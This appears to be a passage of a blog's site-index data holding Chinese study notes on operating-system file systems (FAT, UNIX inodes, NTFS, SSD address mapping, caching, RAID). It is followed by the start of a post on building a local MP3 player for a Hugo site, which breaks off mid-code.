# 2.1 逻辑结构 # 从用户角度看文件，由用户的访问方式确定：\n类型 特点 适用场景 流式文件 字节序列，无结构 源程序、可执行文件 记录式文件 由记录序列组成，每个记录内部有结构 数据库、信息管理系统 除了看成字节序列、记录序列外还有树、堆、索引等等方式。\n2.2 存取方式 # 顺序存取：按字节/记录依次读取，自动移动读写指针 随机存取：从任意位置读写（如 UNIX 的 seek 操作） 三、存储介质与物理块 # 3.1 相关术语 # 术语 含义 扇区（Sector） 磁盘的物理存储单元，通常 512B，一般保证扇区写入的原子性 物理块 / 磁盘块 / 数据块 / 块 / 簇 信息存储、传输、分配的基本单位，由若干扇区组成 分区（Partition） 把一个物理磁盘的存储空间划分为几个相互 独立的部分，每个分区是独立的文件系统 卷（Volume） 逻辑分区，一个文件卷上包含文件系统信息、文件、未分配空间 格式化（Format） 在卷上建立文件系统的过程 一个典型的机械盘的结构 在有了块/簇之后，扇区差不多就被屏蔽了，至于一个块可以有多少个扇区可以自己定义。块的索引用逻辑块号LBA来进行。对于OS来说看不到真正的PBA，所谓的数据块一开始也都是LBA，都需要经过映射才能得到真正的物理地址来读取真正的数据。\n在硬件层面，磁盘读写的最小单位是扇区，但是对于操作系统来说，文件系统将多个连续的扇区组成一个逻辑块，每次IO操作至少读写一个完整的块。块是存储分配的最小单位。\n3.2 机械硬盘HDD # 一次访盘请求 = 读/写 + 磁盘地址（磁头号、柱面号、扇区号） + 内存地址。\n三个动作：\n寻道：磁臂带动着磁头移到指定磁道，往往需要较长时间 旋转延迟：等待指定扇区旋转到磁头下 数据传输：数据在磁盘与内存之间的实际传输 3.3 固态驱动器SSD # 电子过程（组件关系）：\nOS(LBA) ←→ SSD 控制器 ←→ DRAM 缓存（含 FTL 映射表） | ↓ NAND 闪存块（实际存储） 读：OS 发出 LBA → 控制器查 FTL 映射表定位 NAND 物理页 → 读入 DRAM → 传回 OS 写：OS 发出 LBA + 数据 → 控制器先写 DRAM → FTL 更新映射 → 异步刷入 NAND 最小写入单位是页（4KB~16KB），只能写空页或擦除后重写；最小擦除单位是块（通常 64~256 页），远大于写入单位。这里的块是SSD中的擦写概念的，与LBA无关。 闪存物理存储单元（块、页）离散分布，无法直接对应操作系统的连续逻辑地址。 块有擦除寿命限制，需要磨损均衡（Wear Leveling）延长寿命。 FTL（Flash Translation Layer）在底层完成逻辑地址到物理地址的映射，操作系统只需使用 LBA（Logical Block Address）访问，无需关心内部细节。 对于 SSD 没有机械部件了，只需要考虑数据传输的时间。\n3.4 LBA 与 PBA # LBA（Logical Block Address） PBA（Physical Block Address） 定义 逻辑块地址，OS 眼中磁盘的\u0026quot;线性连续地址\u0026quot; 物理块地址，NAND 闪存中实际的存储位置 发出方 操作系统（文件系统/块层） SSD 控制器内部，经过 FTL 映射后得到 特性 连续的、线性的；OS 认为磁盘就是一串 0, 1, 2, … 号块 离散的、非线性的；受限于 NAND 的物理布局和状态 是否可见 操作系统可见 操作系统不可见，完全由 FTL 内部管理 映射关系 LBA →(FTL 转换)→ PBA PBA 可能随写时重定向而变化（同一个 LBA 可映射到不同 PBA） 核心思想：LBA 是对 OS 的抽象承诺——\u0026ldquo;我就给你一串块号，你随便读写\u0026rdquo;，这是OS对于文件系统读写的接口；PBA 是 SSD 内部实现——受限于 NAND 不能原地覆盖、有擦除寿命等物理约束。FTL 在中间做翻译，使得 OS 可以用简单的线性块号访问，而 SSD 底层可以做写时重定向、垃圾回收、磨损均衡等优化，OS 完全不用关心。\n在SSD中，由FTL来进行二者的映射，并通过磨损优化、垃圾回收来优化寿命；在HHD中，由硬件的固件管理来进行简单的映射得到CHS（磁头柱面扇区）。\n四、文件控制块（FCB）与文件操作 # 4.1 FCB（File Control Block） # 操作系统为管理文件而设置的数据结构，存放管理文件所需的所有信息（即文件元数据）。\n常用属性：文件名、文件号、保护/口令、创建者/拥有者、文件地址（提供LBA的信息）、文件大小、文件类型、创建/修改/访问时间、各种标志（只读、隐藏、系统、归档、临时、锁等）\n4.2 文件基本操作 # 操作 说明 create / delete 建立 / 删除文件 open / close 打开 / 关闭文件（访问前必须打开） read / write 读写文件 append / seek 追加数据 / 定位读写指针 get/set attributes 读取/设置文件属性 rename 重命名 创建文件：建立文件的FCB（目录项），分配存储空间 打开文件：根据文件名在文件目录中检索，并将该文件的目录项（FCB）读入内存，建立相应的数据结构（用户打开文件表、系统打开文件表），为后续的文件操作做好准备。更细节一点，根据文件路径名查目录得到目录项（或i节点号），根据文件号查系统打开文件表，查看文件是否已经被打开，若是则引用计数加1，若否则将目录项（或i节点）等信息填入到系统打开文件表空表项中，引用计数置为1；根据打开方式、共享说明和用户身份检查访问合法性；在用户打开文件表中取一个空表项，填写打开方式等，并指向系统打开文件表对应表项。 指针定位：由fd查用户打开文件表找到对应入口，将表中文件读写指针位置设为新指针位置。 读文件：根据fd找到FCB，确定读的合法性；获取文件的逻辑块地址LBA；申请缓冲区，启动磁盘IO操作把磁盘块中的信息读入缓冲区，再传送到指定的内存区 五、文件目录 # 5.1 文件目录、目录项与目录文件 # 文件目录：将所有文件的管理信息组织在一起，统一管理每个文件的信息 目录文件：将文件目录以文件形式存放在磁盘上，内容由目录项组成，是典型的记录式文件。所以，在磁盘上，目录文件的形式就是一个一个的目录项组合起来的。 目录项：构成目录文件的基本单元，通常包含 FCB（或 FCB 的关键字段） 为确保映射的完整性，只允许内核修改目录，应用程序通过系统调用（如mkdir）访问目录。\n目录文件的内容就是一个目录项的数组，每个目录项是一个定长结构，在UNIX中包含文件名、i节点号等等，在FAT32中包含文件名、起始簇号、属性、大小等等，一个接着一个地填满磁盘块。所以，目录文件 = 目录项序列，这和普通文件 = 字节序列是一个道理。\n目录文件和普通文件的分配规则是一样的，都是按块分配，最小1块，可以多块。块是存储分配的最小单位。对于目录文件，其分配的一块中都是一系列定长的结构体：目录项构成，一般最少包含.和..这两个目录项。\n目录项 vs FCB 目录项是\u0026quot;索引卡片\u0026quot;，FCB 是\u0026quot;完整档案\u0026quot;。目录项的内容是文件名+指向FCB的指针，存在目录文件的数据块里；FCB的内容是文件的所有管理信息如文件大小、物理地址等，存在inode区或目录项本身。\n在早期的FAT模式中，目录项 = FCB。缺点就是目录项很大，查找的时候要把大块数据全部读进内存。在目录项中有文件名用于查找、起始簇号用于提供文件地址信息等等。在后来的UNIX模式中，把FCB拆成了两半：一部分是符号目录项，包含文件名和inode号；另一部分是基本目录项，包含FCB的其余内容。优点是目录文件里只存轻量级的索引卡片，查找时读入内存的数据更小。完整的FCB按需从inode区读取。\n5.2 树形目录结构 # 从根目录开始的绝对路径，或从当前目录开始的相对路径 每个进程有一个当前目录（工作目录），可改变 典型目录操作：create、delete、opendir、closedir、readdir、rename、link、unlink 5.3 目录检索 # 访问一个文件分两步骤：\n目录检索：按文件名查找目录项/FCB（文件名解析） 文件寻址：根据 FCB 中文件物理地址信息，计算目标记录在介质上的地址 从根开始，找到User_B的FCB，进而往下找，找的过程仍然是使用FCB 5.4 目录项分解法（提高检索速度） # 将 FCB 分成两部分：\n部分 内容 符号目录项 文件名 + 文件号（i 节点号） 基本目录项 除文件名外的所有字段 例子：FCB 48 字节，物理块 512 字节，128 个目录项\n分解前：平均访盘 7 次 分解后：平均访盘 2.5 次 分解前：FCB 全部 48 字节全放在目录文件里。\n一块 512B 只能放 10 个目录项（512 / 48 = 10，剩 32B 浪费） 128 个目录项 = 需 13 块 线性查找，平均读一半的块 → 13 / 2 ≈ 7 次 分解后：FCB 拆成符号目录项（6B 文件名 + 2B i 节点号 = 8B）和基本目录项（42B）。\n符号目录文件：一块放 64 个（512 / 8 = 64），128 个条目只需 2 块，平均读 1 块 基本目录文件：一块放 12 个（512 / 42 ≈ 12），128 个条目需 11 块。但不需要线性搜索——符号目录项里已经拿到了文件号，直接在基本目录文件里定位到对应条目所在的块（摊下来平均约 1.5 次，因为 42B 条目可能跨块边界） 平均访盘 = 1 + 1.5 = 2.5 次，从 7 次降到 2.5 次。关键不在于算得更少，而在于符号目录文件瘦身后查找快得多，基本目录文件只需要随机访问一次。\n六、文件系统的实现 # 实现文件系统需要考虑磁盘与内存中的内容布局\n6.1 磁盘上的文件系统布局 # UNIX 布局 # 每一个分区内是一个文件系统\nFAT 布局 # FAT和NTFS文件布局示意图 6.2 文件的物理结构（LBA的组织方式） # 核心问题：文件在物理介质上的存放方式——分配给文件的LBA的位置和顺序。 要考虑的问题：存储效率：外部碎片等；读写性能：访问速度\n6.2.1 连续结构 # 文件信息存放在若干连续的LBA中。\n优点 缺点 简单、高效 文件不能动态增长（需预留空间） 支持顺序和随机存取 不利于插入和删除 寻道次数最少 外部碎片问题 FCB 中记录文件地址的LBA：起始LBA块号 + 文件长度（块数）。\n6.2.2 链接结构 # 文件信息存放在若干不连续的LBA中，各块之间通过指针连接。\n优点 缺点 无外部碎片 存取速度慢，不适于随机存取 利于文件插入删除和动态扩充 可靠性问题（链接指针出错） - 链接指针占用空间、更多寻道 FCB 中记录：首块 LBA 块号。（虽然是一个链表，但是也不需要遍历全部的块：下一个 LBA 的位置已经在该 LBA 中存了）\n链接结构 这样有一些问题：纯链接有两个致命缺陷，(1) 访问文件第 N 块必须从第 1 块开始逐个读，无法随机存取；(2) 指针和数据混在一起，指针损坏则整个链断掉。FAT（文件分配表）则是把链表的指针和数据分离，将所有\u0026quot;下一块号\u0026quot;指针集中搬到一张独立的表里（FAT），数据块只放数据。\nFAT结构示意图，图中的physical block现在看作是LBA 纯链接： 块4 [数据 + 指针→7] → 块7 [数据 + 指针→2] → 块2 [数据 + 指针→文件尾] ↑ 指针和数据混在一起，必须读磁盘才能跟随链 FAT： 磁盘上： 块4 [纯数据] 块7 [纯数据] 块2 [纯数据] 内存中： FAT 表（数组，下标 = 当前块号，值 = 下一块号） FAT[2] = -1 (文件尾) FAT[4] = 7 ← FCB 记录首块号 4，查 FAT[4] 得到下一块 7 FAT[7] = 2 ← 查 FAT[7] 得到 2 …… FAT这样的好处是，在运行时缓存在内存里，要找到文件第 N 块，直接在内存里顺着 FAT 数 N 次就行，不需要读磁盘。随机存取成为可能。而且 FAT 有两份拷贝（FAT1 + FAT2 互为备份），一份坏了还有另一份。\n文件的起始块号从何处得到？从FCB中查找。\nfat表中可不可以理解为从fcb中找到第一个LBA然后从表中读，不断找到下一个LBA；然后os就能用LBA去找到对应的PBA。也就是说,fat存的都是LBA的值?\n对，理解完全正确。 FAT 表就是一个以 LBA 为索引、以 LBA 为值的数组： FAT[当前LBA] = 下一个LBA OS 从头到尾只跟 LBA 打交道。LBA→PBA的转换在下面由磁盘固件（HDD）或 FTL（SSD）完成，OS完全不知道也不关心。这正好接回 3.4 节说的——LBA 是 OS 和存储设备之间的接口约定，FAT 表全程只存 LBA。\n6.2.3 索引结构 # 系统为每个文件建立一个索引表，将文件占用的块号存放在一个索引表中。一个索引表就是磁盘块地址数组，其中第i个条目指 向文件的第i块。\n优点 缺点 保持链接结构的优点，又解决随机存取问题 较多寻道 支持动态增长、插入删除 索引表本身占用空间 FCB 中记录：索引表所在块号。\n索引表过大的解决方案：\n链接方式: 多个索引表盘块之间链接 多级索引: 二级索引 → 一级索引 → 数据块，将文件的索引表（二级索引）的地址放在另一个索引表（一级索引）中 综合模式: 直接索引 + 间接索引结合 （顶级索引表的字段可以是一个放数据的LBA，也可以是次级索引表的LBA） 6.2.4 UNIX 多级索引（综合模式） # 每个文件的 i 节点中有 15 个索引项：\n索引 0~11 → 直接寻址（12 个数据块） 索引 12 → 一级间接索引（→ 256 个数据块） 索引 13 → 二级间接索引（→ 256×256 个数据块） 索引 14 → 三级间接索引（→ 256³ 个数据块） 小文件直接用直接寻址，大文件逐级扩展，兼顾效率和容量。\nUNIX中的多级索引示意图，i节点只画出了索引信息 UNIX的inode结构示意图。这个图中假设每个索引项是4字节，其余与上图一致，这个图好看一点 6.3 目录文件的组织方式 # 目录项的组织方式：\n顺序表：简单，查找需线性搜索 散列表：根据文件名计算散列值定位，查找速度快 B 树 / B+ 树：NTFS 采用，大目录下依然高效 6.4 文件共享 # 文件共享是指一个文件被多个用户或进程使用。多用户系统中的文件共享是很必要的。一种实现方式是文件别名：\n方式 原理 特点 硬链接 多个目录项指向同一个 i 节点 共享计数归零才删除文件；不能跨文件系统 软链接（符号链接） 建立特殊类型文件，内容为共享文件路径名 可跨文件系统甚至跨网络；系统开销大 硬链接的实现：\n在FCB中直接给出文件地址，但是这样可能导致同步问题。 目录项指向i节点，i节点中增加一个共享计数，每次创建硬链接共享计数 +1，删除硬链接共享计数 -1，共享计数为0时才真正删除文件。 软链接的实现：建立一种特殊类型（Link）的文件，其内容是要共享的文件路径名。访问软链接时，系统会自动解析路径名，找到目标文件进行访问。只有真正的文件所有者才有指向i节点的指针。可以建立任意的别名关系，甚至原文件是在其他计算机上。问题：系统开销大；目录结构可能形成环状；优势：计算机网络环境下可用\n6.5 磁盘空间管理 # 空闲空间管理方法 # 方法 说明 空闲块位图 每块对应一位，0=空闲/1=已分配；块号 = 字号×字长 + 位号 空闲块表 所有空闲块号记录在一个表中 空闲块链表 所有空闲块链成链表 成组链接法 UNIX 采用——将空闲块分组，每组首块记录下一组信息 UNIX 成组链接法 # 专用块记录当前空闲块组：[空闲块数 N, 空闲块号1, …, 空闲块号N] 分配时：从专用块取块；若剩最后一块，该块中存着下一组信息 回收时：若当前组不满，填入；若满，将当前组信息写入回收块，回收块成为新组 UNIX的成组链接法示意图 文件卷的目录区中专门用一个磁盘块作为“专用块”，当系统启动时需要将专用块读入内存，并且要保证内存与外存中的“专用块”数据一致。专用块的第一个元素是下一组空闲盘块数 n，接下来跟着的是 n 个空闲块号。其中第一个空闲块指向保存下一个超级块的信息，仍然是空闲盘块数 n 和 n 个空闲块号。直到最后一个专用块的信息没有后续的空闲块号，它的第一个空闲块号为特殊值例如 -1。\n当需要 i 个空闲块时，检查第一个分组的块数是否足够，如果 i \u0026lt; n 是足够的，就分配第一个分组中的 i 个空闲块，并修改相应数据。例如上图的成组链接，若需要 5 个空闲块，可以分配 201 ~ 205 号空闲块，并修改专用块的空闲块数量为 95。\n如果 i ≥ n 刚好或不足够，则需要分配第一个分组中的全部空闲块，由于第一个空闲块存放了再下一组的信息，因此号块的数据需要复制到专用块中。例如上图的成组链接，若再需要 95 个空闲块，可以分配 206 ~ 300 号空闲块，由于 300 号块内存放了再下一组的信息，因此 300 号块的数据需要复制到专用块中。\n6.6 内存中的数据结构（打开文件管理） # UNIX 的文件打开结构 # 结构 范围 内容 用户打开文件表 每个进程一个 文件描述符、读写指针、i 节点指针、打开方式 → 位于 PCB 中 系统打开文件表 整个系统一个 FCB(i 节点) 信息、引用计数、修改标志 打开文件流程：\n根据路径名查目录，找到 i 节点号 查系统打开文件表：若已打开 → 共享计数 +1；否则将 i 节点填入 检查访问权限 在用户打开文件表中取空表项，指向系统打开文件表 返回文件描述符（fd）——非负整数，用于后续操作 七、文件系统实例 # 对于磁盘而言，其分区结构是：\n+-------+-----------+-----------+-----------+-------+ | MBR | 文件系统1 | 文件系统2 | 文件系统3 | 其他分区 | +-------+-----------+-----------+-----------+-------+ MBR（主引导记录，LBA 0）是磁盘分区表的载体，跟文件系统无关——它告诉你磁盘分了几个区、每个区从哪开始到哪结束，负责引导 BIOS 找到活动分区并加载该分区的引导扇区。\n此处来源：计算机是如何启动的？ \u0026ldquo;主引导记录\u0026quot;只有512个字节，放不了太多东西。它的主要作用是，告诉计算机到硬盘的哪一个位置去找操作系统。\n主引导记录由三个部分组成：\n（1） 第1-446字节：调用操作系统的机器码。\n（2） 第447-510字节：分区表（Partition table）。\n（3） 第511-512字节：主引导记录签名（0x55和0xAA）。\n其中，第二部分\u0026quot;分区表\u0026quot;的作用，是将硬盘分成若干个区。考虑到每个区可以安装不同的操作系统，\u0026ldquo;主引导记录\u0026quot;因此必须知道将控制权转交给哪个区。分区表的长度只有64个字节，里面又分成四项，每项16个字节。所以，一个硬盘最多只能分四个一级分区，又叫做\u0026quot;主分区\u0026rdquo;。\n计算机在启动的时候，BIOS回把控制器转交给排在第一位的储存设备。这时，计算机读取该设备的第一个扇区，也就是读取最前面的512个字节。如果这512个字节的最后两个字节是0x55和0xAA，表明这个设备可以用于启动；如果不是，表明设备不能用于启动，控制权于是被转交给\u0026quot;启动顺序\u0026quot;中的下一个设备。MBR就是这512字节。\n⭐UNIX 文件系统 # UNIX的文件系统中的文件以索引结构来组织。文件系统为每个文件的所有块建立了一个索引表，索引表就是块地址数组，每个数组元素是块的地址，每个数组元素的下标是文件块的索引，第n个数组元素指向文件中的第n个块。\n包含这个索引表的索引结构成为inode，即index node，索引节点，用来索引一个文件的所有块。在UNIX系统中，一个文件必须对应一个inode，磁盘中有多少文件就有多少个inode。\ninode 结构 UNIX的inode结构示意图。这个图中假设每个索引项是4字节，其余与上图一致，这个图好看一点 inode包含了文件的属性，12个直接数据块指针，和3个间接块指针。对于数据块索引表，也是存在磁盘上。\n目录项 inode用来表示文件，不管是普通文件还是目录文件。文件系统区分这两种文件的方式并不依赖于inode，inode是无法决定的，也是不必关心的。唯一的方式就是数据块本身的内容了。如果inode表示的是普通文件，这个inode指向的数据块中的内容就是普通文件自己的数据；如果表示的是目录文件，这个inode指向的数据块中的内容就是该目录下的目录项。在只考虑这两种文件的情况下，目录文件的数据块中，要么是普通文件的目录项，要么是目录文件的目录项。\n本文上方已经提到过：目录文件是由目录项构成的，目录项是目录文件的基本单位。 可以认为，UNIX系统中的FCB就是inode，或者说FCB = inode + 目录项。目录项中包含了文件名和对应的inode号；inode中包含了文件的属性、文件地址信息、块指针等等。\n超级块和文件系统布局 每个文件都有一个inode，所有的inode都放在inode数组中，这个数组在哪里？大小是多少？对于一个硬盘，每个分区都有自己的根目录，地址不统一，怎么找到根目录地址？\n这时需要在某个固定地方去获取文件系统元信息的配置，这个地方就是超级块，超级块是保存文件系统元信息的元信息。下图是硬盘布局和其中一个UNIX分区的布局：\n查找文件过程 给出一个文件名/user/ast/mbox，查询文件的流程：\n练习1 练习2 假设一块刚格式化好的磁盘大小是2M，每块为512字节，画出UNIX文件系统布局，和在经过如下操作后的布局。\n操作序列：\n\\ mkdir A A mkdir B B create File1(4块) \\ mkdir C \\ mkdir D C mkdir E E create File2(16块) ⭐FAT 文件系统 # FAT文件系统中，FCB就是目录项，与UNIX不同。根目录大小固定。其分区布局是：\n+-------+-----------+-----------+-----------+-------+ | 引导区 | 文件分配表1 | 文件分配表2 | 根目录区 | 数据区 | +-------+-----------+-----------+-----------+-------+ 引导区 引导区有引导代码和其他元数据，这些其他元数据相当于UNIX的super block\nFAT的引导扇区（DBR）示意图 其中BIOS参数块中给出了每簇的扇区数、每扇区的字节数等信息，这些信息可以用来计算每簇的字节数，从而知道每个簇能存多少目录项（FAT16中一个目录项48字节，FAT32中一个目录项32字节）。FAT表的大小和位置也在引导区中给出。\nFAT的BIOS参数块示意图 文件分配表 FAT表可以看作是一个整数数组，每个整数代表数据区的一个簇号。\n目录项 FAT32系统的目录项也是在数据区中以文件的形式存储的。每个目录项占用32字节，包含文件名、属性、起始簇号、文件大小、修改时间等信息。\n下面是FAT16的目录项（FCB），可以发现只有修改的日期和时间，没有创建和查看的，会有安全问题；还有起始簇号。\n在FAT32中目录项仍然是32字节，但是分为各种类型（包括：“.”目录项、“..”目录项、短文件名目录项、卷标项（根目录）、已删除目录项（第一字节为0xE5）、长文件名目录项等）。对于一个文件至少有俩目录项，即短和长文件名目录项。在短目录项中，把保留的10个字节做了使用，存储了文件的起始簇号的高 16 位（FAT16 中没有这个字段）。因此 FAT32 的短目录项仍然是 32 字节，但结构发生了变化。\n对于长文件名目录项，也是32字节，一个长文件名目录项可以存储 13 个 Unicode 字符（26 字节），剩余 6 字节用于其他信息（如序号、校验和等）。长文件名目录项与对应的短目录项通过序号和校验和关联起来，形成一个完整的文件名。\ntypedef struct long_name_entry { uint8 order; // 序号：1~N，最后一项 | 0x40 wchar name1[5]; // 5 个 Unicode 字符 uint8 attr; // 必须是 0x0F（长文件名标记） uint8 _type; // 保留 uint8 checksum; // 短文件名校验和 wchar name2[6]; // 6 个 Unicode 字符 uint16 _fst_clus_lo;// 文件起始簇号，常置0 wchar name3[2]; // 2 个 Unicode 字符 } 练习 假设一块刚格式化好的磁盘大小是2M，每块为512字节，画出FAT16文件系统布局，和在经过如下操作后的布局。\n操作序列：\n\\ mkdir A A mkdir B B create File1(4块) \\ mkdir C \\ mkdir D C mkdir E E create File2(16块) 7.3 NTFS 文件系统 # 设计目标 # 可靠、高效、安全——原子事务、冗余存储、综合安全模型。\n核心概念 # 概念 说明 MFT（主控文件表） NTFS 核心，以文件记录数组实现，每个文件/目录至少一个 MFT 项 文件引用号 64 位，文件号（48 位）+ 顺序号 属性 所有信息都是属性，文件内容是\u0026quot;未命名数据属性流\u0026rdquo; 常驻属性 直接存放在 MFT 项中（标准信息、文件名等） 非常驻属性 数据超出 MFT 项空间，存储在卷中其他簇 VCN / LCN VCN（虚拟簇号）用于文件内引用，LCN（逻辑簇号）用于卷内定位 Run / Extent 非常驻属性中的连续簇组，记录（VCN 起始, LCN 起始, 簇数） 目录组织 # 目录中文件名按 B+ 树排序存储在索引缓冲区中 索引分配属性包含 VCN→LCN 的映射 NTFS 特色功能 # 数据压缩（以 16 个簇为压缩单元） 加密文件系统（EFS） 日志功能（$LogFile） MFT 前 16 个项为元数据文件保留（$Mft、$MftMirr、$LogFile、$Volume、$Bitmap 等） 八、挂载与虚拟文件系统 # 8.1 文件系统的挂载（Mount） # 将一个文件系统加入到另一个文件系统，用户提供：被挂载文件系统的根目录 + 挂载点。挂载后，被挂载文件系统的目录树出现在挂载点之下。\n8.2 虚拟文件系统（VFS） # VFS 是一个抽象层，为不同文件系统提供统一接口。用户程序以相同方式访问不同文件系统，屏蔽底层差异。\n工作流程：\nVFS 对用户发起的文件系统调用进行路径解析 查找对应的目录项（dentry）和 inode 确定目标文件所在的真实文件系统 调用对应文件系统实现的具体方法 返回结果给用户 九、其他常用文件系统 # 文件系统 特点 ext4 Linux 默认，extents 分配（取代传统块映射，连续存储大文件时减少碎片，提升读写效率）、延迟分配、兼容 ext3/ext2 XFS 高性能日志文件系统，B+ 树元数据，大文件顺序读写优秀 Btrfs 基于b-tree，写时复制、快照、数据压缩、RAID、子卷管理 ZFS / OpenZFS 集文件系统与卷管理于一体，数据完整性校验、单卷最大 256ZB APFS Apple 为 SSD 优化的现代文件系统 exFAT 跨平台轻量，突破 FAT32 单文件 4GB 限制 F2FS 闪存友好，日志结构文件系统，为 NAND 闪存设计 十、文件系统的管理 # 文件系统的可靠性 可靠性：抵御和预防各种物理性破坏和人为性破坏的能力\n策略？备份：\n全量转储：定期将所有文件拷贝到后援存储器 增量转储：只转储修改过的文件，即两次备份之间的修改，减少系统开销 物理转储：从磁盘第0块开始，将所有磁盘块按序输出到磁带 逻辑转储：从一个或几个指定目录开始，递归地转储自给定日期后所有更改的文件和目录 文件系统一致性 这里强调的点是元数据的一致性，比如目录文件，其是元数据（因为是由目录项组成的）。\n一致性问题产生的原因是，文件内容从磁盘块读入内存后，修改了内存中的数据，但还没有来得及写回磁盘，如果此时系统崩溃了，那么磁盘上的数据就不一致了。此时造成了不一致性。\n解决方案：设计一个实用程序，当系统再次启动时，运行该程序，检查磁盘块和目录系统。\n例子：UNIX一致性检查工作过程：两张表，每块对应一个表中的计数器，初值为0。表1：记录了每个磁盘块在文件中出现的次数；表2：记录了每个磁盘块在空闲块表中出现的次数。\n左上角是正常情况，对于每一个LBA都应该要么处于被占用，要么处于空闲状态 现在考虑写入方式：\n通写(write-through)：每次修改都立即直接写回磁盘，性能较差，但数据一致性好。如FAT文件系统。 延迟写(delayed write/lazy write)/回写(write back)：修改先在内存中进行，定期或条件满足时批量写回磁盘，性能较好，但可能导致数据丢失，可恢复性较差。如UNIX文件系统。 可恢复写(transaction log)：为了考虑文件系统一致性和性能，引入了事务日志来实现文件系统的写入，既考虑安全性，又考虑速度性能，例：NTFS 文件系统的安全性 安全性：保护文件系统免受未经授权访问和恶意攻击的能力。要提防数据丢失和入侵者。\n如何实现？一是用户身份验证，二是访问控制（权限管理）。UNIX的权限模型是基于用户和组的读写执行权限（二级存取控制，一级是对用户分类，二级是对操作分类）；NTFS则提供了更细粒度的访问控制列表（ACLs），支持复杂的权限设置。保证文件数据不能随意被访问。\n数据恢复技术 数据恢复：从损坏或丢失的文件系统中恢复数据的技术。常用方法包括：\n文件系统检查工具（如fsck）修复文件系统结构 数据恢复软件扫描磁盘块，重建文件结构 备份恢复：从定期备份中恢复数据 十一、文件系统的性能 # 磁盘服务 → 其速度和可靠性成为系统性能和可靠性的主要瓶颈，设计文件系统应尽可能减少磁盘访问次数。提高文件系统性能的方法：\n目录项(FCB)分解、当前目录、磁盘碎片整理、磁盘(块)高速缓存、磁盘调度、提前读取、合理分配磁盘空间、信息的优化分布、RAID技术… …\n磁盘高速缓存 内存中为磁盘块设置的一个缓冲区，保存了磁盘中某些块的副本——磁盘高速缓存。\n磁盘高速缓存（page cache）就是主存的一部分，位于内核地址空间。进程 read(fd, buf, n) → 内核查 page cache\n命中 → 直接从 DRAM 拷到用户 buf → 不阻塞，立即返回 未中 → 进程 BLOCKED，发起磁盘 DMA 磁盘 → DRAM（page cache）→ 拷到用户 buf 中断通知，进程READY 所以 read() 不一定阻塞——数据恰好在 page cache 里就直接返回（比如刚被另一个进程读过、或者之前预读进来的），等磁盘的代价只有在 cache miss 。这和mmap()的原理类似，都是利用内存映射来实现文件访问的优化，mmap省了一层缓存。\n目前学过的cache有：TLB, Block Cache, Web Page Cache等等\nWindows的文件访问方式 不使用文件缓冲:普通的方式，通过Windows提供的FlushFileBuffer函数实现 使用文件缓冲(Default):预读取。每次读取的块大小、缓冲区大小、置换方式；写回。写回时机选择、一致性问题，会定期更新磁盘上的数据（1s）。 异步模式:不再等待磁盘操作的完成，使处理器和I/O并发工作 合理分配磁盘空间 在UNIX中查找文件需要在inode和目录项之间多次访问，在磁盘上分配文件时，尽量将文件的inode和目录项放在一起，减少磁盘臂的移动次数。\n磁盘调度 比较合理的有：对于柱面采用最短寻道时间优先；对于同一个柱面用旋转调度算法\n？？？？？？？？？？？ 1243/1342\n621435\nRAID技术 设计时要考虑的是：磁盘存储系统 的 速度、容量、容错、数据灾难发生后的数据恢复。\n解决方案：RAID（独立磁盘冗余阵列）(Redundant Arrays of Independent Disks)多块磁盘按照一定要求构成，操作系统则将它们看成一个独立的存储设备，这是高性能、容错、高可靠性的存储技术。\n数据是如何组织存储的？通过把多个磁盘组织在一起，作为一个逻辑卷提供磁盘跨越功能。\n通过把数据分成多个数据块，并行写入/读出多个磁盘，以提高数据传输率（数据分条stripe）（比如原来是100个块，现在分成10个块，分别写入10个磁盘，理论上速度提升10倍） 通过镜像（mirroring）或数据校验（data parity）操作，提高容错能力（冗余）和扩展性 参考文章：\n手写一个linux文件系统（一）\n操作系统：磁盘的组织和空间管理\n计算机是如何启动的？\n","date":"2026/05/07","externalUrl":null,"permalink":"/os/study_notes/7-file_system/","section":"Operating Systems","summary":"","title":"操作系统笔记7：文件系统","type":"os"},{"content":"站里写笔记的时候总想有点背景音乐。网上常见方案是 APlayer + MetingJS 接入网易云/QQ 音乐，但一来依赖外部平台链接不稳定，二来歌单里的歌还可能下架。于是自己手写一个，本地托管 mp3，放在 Blowfish 主题里。\n效果 # 右下角悬浮一个播放器卡片：显示当前播放曲目、进度条、上一首/下一首、音量调节。支持折叠，播放时切换页面不中断。\n实现步骤 # 1. 创建音乐文件目录 # 在项目根目录下新建 static/music/，把 mp3 文件放进去。Hugo 构建时会原样拷贝到 public/ 下。\nsite/ ├── static/ │ └── music/ │ ├── song1.mp3 │ └── song2.mp3 2. 编写播放器 Partial # 新建 layouts/partials/music-player.html。播放器只有一个 \u0026lt;div\u0026gt; + 一个 \u0026lt;audio\u0026gt; 标签，配上一段 JS。核心结构：\n播放列表：一个 JS 数组，每项包含 title 和 src（相对于 static/music/ 的路径） 播放控制：\u0026lt;audio\u0026gt; 元素的 play() / pause() 方法 进度条：监听 timeupdate 事件，更新 \u0026lt;input type=\u0026quot;range\u0026quot;\u0026gt; 的值 音量：设置 audio.volume（0-1） 上一首/下一首：切换 playlist 数组索引 const playlist = [ { title: \u0026#34;Song Name\u0026#34;, src: \u0026#34;/music/song1.mp3\u0026#34; }, { title: \u0026#34;Another Song\u0026#34;, src: \u0026#34;/music/song2.mp3\u0026#34; } ]; function loadSong(index) { audio.src = playlist[index].src; audio.load(); } function togglePlay() { isPlaying ? audio.pause() : audio.play(); } 3. 注入到首页 # 编辑 layouts/index.html，在底部加入一行：\n{{ partial \u0026#34;music-player.html\u0026#34; . }} 如果要全站每个页面都出现播放器，改为加到 layouts/partials/footer.html 或 layouts/_default/baseof.html 中。\n4. 样式 # 播放器用 Tailwind 写样式（Blowfish 主题自带 Tailwind v4）。核心：\nfixed bottom-4 right-4 z-50 → 固定在右下角 rounded-xl shadow-2xl border backdrop-blur → 毛玻璃卡片效果 颜色使用 neutral-* 和 primary-* 变量，自动适配明暗主题 \u0026lt;input type=\u0026quot;range\u0026quot;\u0026gt; 用 [\u0026amp;::-webkit-slider-thumb] 自定义滑块样式 5. 构建 # hugo 构建后 public/ 下会自动包含 music/ 目录中的 mp3 文件和播放器 partial，推送即可。\n关键代码解读 # 进度条拖动：监听 \u0026lt;input\u0026gt; 的 oninput 事件，根据滑块百分比计算 audio.currentTime：\nfunction seek(val) { if (audio.duration) { audio.currentTime = (val / 100) * audio.duration; } } 自动播放下一首：监听 ended 事件：\naudio.addEventListener(\u0026#34;ended\u0026#34;, nextSong); 折叠/展开：点击顶部横线按钮切换中间两行 div 的 hidden class：\nfunction togglePlayer() { const inner = player.querySelectorAll(\u0026#34;div:nth-child(2), 